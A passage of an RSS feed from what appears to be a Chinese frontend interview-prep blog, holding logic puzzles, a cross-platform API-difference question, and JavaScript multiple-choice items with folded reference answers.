&lt;p&gt;第四步：A回花时间1分钟。&lt;/p&gt;
&lt;p&gt;第五步：A、B再过花时间2分钟。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-d131bd64-4531-4903-bb82-76aa277c7cb8"&gt;2. 圆环转圈问题&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;两个圆环，半径分别是1和2，小圆在大圆内部绕大圆圆周一周，问小圆自身转了几周？如果在大圆的外部，小圆自身转几周呢？&lt;/p&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;小圆所转动的路程便是小圆圆心走过的距离&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;小圆所转动的路程便是小圆圆心走过的距离&lt;/p&gt;
&lt;p&gt;所以在大圆外部转动，小圆圆心饶半径为3的大圆心转动，走了三圈&lt;/p&gt;
&lt;p&gt;所以在大圆内部转动，小圆圆心饶半径为1的大圆心转动，走了一圈&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-4f3611dc-0446-4d49-95ae-1798d1194c9b"&gt;3. 推理问题（二）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;赵女士买了一些水果和小食品准备去看望一个朋友，谁知，这些水果和小食品被他的儿子们偷吃了，但她不知道是哪个儿子。为此，赵女士非常生气，就盘问4个儿子谁偷吃了水果和小食品。老大说道：“是老二吃的。”老二说道：“是老四偷吃的。”老三说道：“反正我没有偷吃。”老四说道：“老二在说谎。”这4个儿子中只有一个人说了实话，其他的3个都在撒谎。那么，到底是谁偷吃了这些水果和小食品？&lt;/p&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;是老三偷吃了水果和小食品，只有老四说了实话。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;是老三偷吃了水果和小食品，只有老四说了实话。&lt;/p&gt;
&lt;p&gt;用假设法分别假设老大、老二、老三、老四都说了实话，看是否与题意矛盾，就可以得出答案。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-4eea1bf3-0d20-454c-ae40-a83914d92828"&gt;4. 最后剩下谁？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;1～50 号运动员按顺序排成一排。教练下令：“单数运动员出列！”剩下的运动员重新排队编号。教练又下令：“单数运动员出列！”如此下去，最后只剩下一个人，他是几号运动员？如果教练下的令是“双数运动员出列！”最后剩下的又是谁？&lt;/p&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;教练下令“单数”运动员出列时，教练只要下5次命令，就能知道剩下的那个人。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;教练下令“单数”运动员出列时，教练只要下5次命令，就能知道剩下的那个人。&lt;/p&gt;
&lt;p&gt;此人在下第五次令之前排序为2，在下4次令之前排序为4，在下3次令之前排序为8，在下2次令之前排序为16，在下1次令之前排序为32，即32位运动员，因此答案是32号。&lt;/p&gt;
&lt;p&gt;如果教练下的令是“双数运动员出列！”，最后剩下的是1号。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-74a00836-f5ab-4666-893c-00c62af412a3"&gt;5. 推理问题（一）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1.5 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;甲、乙、丙三个人在一起做作业，有一道数学题比较难，当他们三个人都把自己的解法说出来以后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;甲说：“我做错了。”&lt;/li&gt;
&lt;li&gt;乙说：“甲做对了。”&lt;/li&gt;
&lt;li&gt;丙说：“我做错了。”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在一旁的丁看到他们的答案并听了她们的意见后说：“你们三个人中有一个人做对了，有一个人说对了。”&lt;/p&gt;
&lt;p&gt;请问，他们三人中到底谁做对了？&lt;/p&gt;
&lt;h3 id="题目要点-4"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;假设丙做对了，那么甲、乙都做错了，这样，甲说的是正确的，乙、丙都说错了，符合条件，因此，丙做对了。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;假设丙做对了，那么甲、乙都做错了，这样，甲说的是正确的，乙、丙都说错了，符合条件，因此，丙做对了。&lt;/p&gt;</description></item><item><title>跨端技术 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-24-88e618f1/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-24-88e618f1/</guid><description>&lt;p&gt;共 19 道 跨端技术 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-da6f0b14-5108-4b3d-8949-b34d7f746509"&gt;1. 跨平台的开发中，如何处理不同平台的 API 差异？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：2 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;条件编译：在编译阶段，通过特定注释（如 // #ifdef MP-WEIXIN）来区分不同平台，编写差异化代码。&lt;/p&gt;
&lt;p&gt;适配器模式（Adapter Pattern）：在运行时，封装一个统一的工具类（Adapter），在内部判断环境并调用对应的原生 API。例如，封装一个 StorageAdapter，内部判断环境并分别调用 uni.setStorageSync 或浏览器的 localStorage，对业务代码提供统一的 Promise 接口 。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;处理不同平台的 API 差异，是跨平台开发中的核心挑战。其目标是在享受跨平台开发效率的同时，确保应用在各平台上的功能完整、性能稳定、体验原生。关键在于通过良好的架构设计来&lt;strong&gt;隔离与抽象&lt;/strong&gt;平台细节。&lt;/p&gt;
&lt;h3 id="核心原则与架构思想"&gt;核心原则与架构思想&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;抽象与统一接口层&lt;/strong&gt;：这是最根本的策略。不要在各处业务代码中直接调用平台特定的 API，而是&lt;strong&gt;封装一个统一的接口层&lt;/strong&gt;。业务逻辑只与这个抽象层交互，由它来屏蔽底层的平台差异。例如，一个文件操作模块，可以定义统一的 &lt;code&gt;readFile&lt;/code&gt; 和 &lt;code&gt;writeFile&lt;/code&gt; 方法，然后在内部根据平台调用不同的原生实现 。这种设计使得核心业务代码保持平台无关性，极大提升了可维护性 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;渐进增强与平稳退化&lt;/strong&gt;：在设计功能时，采用“渐进增强”思想。即，&lt;strong&gt;优先保证核心功能在所有平台都能运行&lt;/strong&gt;，然后为高版本平台或特定平台增强更优的体验。同时，做好“平稳退化”，对于不支持某些高级功能的平台，提供合适的降级方案，而不是让功能崩溃 。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="关键技术方案与手段"&gt;关键技术方案与手段&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;条件编译&lt;/strong&gt;：这是在&lt;strong&gt;编译时&lt;/strong&gt;处理差异的高效方式。通过预定义的宏或配置，编译器只会将当前目标平台的代码打包到最终产物中 。例如，在 C++ 或前端构建工具中，可以使用 &lt;code&gt;#ifdef _WIN32&lt;/code&gt; 或类似语法，为不同平台编写不同的代码路径。这种方式打包结果纯净，但需要构建工具支持 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;运行时检测与分支判断&lt;/strong&gt;：这是在&lt;strong&gt;代码运行时&lt;/strong&gt;根据当前所处的平台环境，动态选择执行不同的逻辑。这是最常见和灵活的方式 。各框架通常提供全局的 API 用于获取平台信息，例如 React Native 的 &lt;code&gt;Platform.OS&lt;/code&gt; 和 &lt;code&gt;Platform.select()&lt;/code&gt; 方法 ，或 UniApp 中的 &lt;code&gt;uni.getSystemInfoSync().platform&lt;/code&gt; 。这种方式灵活直观，但代码中会存在一些分支判断。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件/模块约定&lt;/strong&gt;：一些框架支持通过特定的文件命名约定来区分平台代码。例如，在 React Native 中，可以创建 &lt;code&gt;Component.ios.js&lt;/code&gt; 和 &lt;code&gt;Component.android.js&lt;/code&gt; 文件。在导入时，只需 &lt;code&gt;import Component from './Component'&lt;/code&gt;，框架会自动根据平台加载正确的文件 。这是一种将平台差异隔离在文件级别的优雅实践。&lt;/p&gt;</description></item><item><title>选择题 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-23-18275a1e/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-23-18275a1e/</guid><description>&lt;p&gt;共 154 道 选择题 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-fa065548-704b-4428-b784-6a038acde5b4"&gt;1. 对以下代码说法正确的是？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：Choice&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, , &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;A. 执行 arr.length = 3，此时数组为 [1,2,3]&lt;/li&gt;
&lt;li&gt;B. 执行 arr[10] = 11，此时 arr.length 为 6&lt;/li&gt;
&lt;li&gt;C. 执行 delete arr[2]，此时 arr.length 为 4，数组为 [1,2,4,5]&lt;/li&gt;
&lt;li&gt;D. arr2.length 的长度为 2&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;考察的是数组的length属性：&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;正确答案：A&lt;/strong&gt;
考察的是数组的length属性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;设置数组的length值为小于当前值的非负整数n，则任何索引大于或等于n的数组元素都会从数组中被删除&lt;/li&gt;
&lt;li&gt;如果给一个索引为i​的数组元素赋值，而i大于或等于数组当前的length，则数组的length属性会被设 置为i+1​&lt;/li&gt;
&lt;li&gt;对数组元素使用delete操作符不会修改length属性，使用splice()​会&lt;/li&gt;
&lt;li&gt;如果省略数组字面量中的一个值，被省略的元素是不存在的，但它的索引是存在的&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-96eb9035-e189-4403-a370-eccca4a16345"&gt;2. 下列哪些不可以实现浏览器存储数据？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1 · 类型：Choice&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;A. cookie&lt;/li&gt;
&lt;li&gt;B. localStorage&lt;/li&gt;
&lt;li&gt;C. session&lt;/li&gt;
&lt;li&gt;D. sessionStorage&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;session 不是浏览器端 API，指的是服务端会话机制，不能直接用于浏览器存储&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;&lt;strong&gt;正确答案：C&lt;/strong&gt;
session 不是浏览器端 API，指的是服务端会话机制，不能直接用于浏览器存储&lt;/p&gt;</description></item></channel></rss>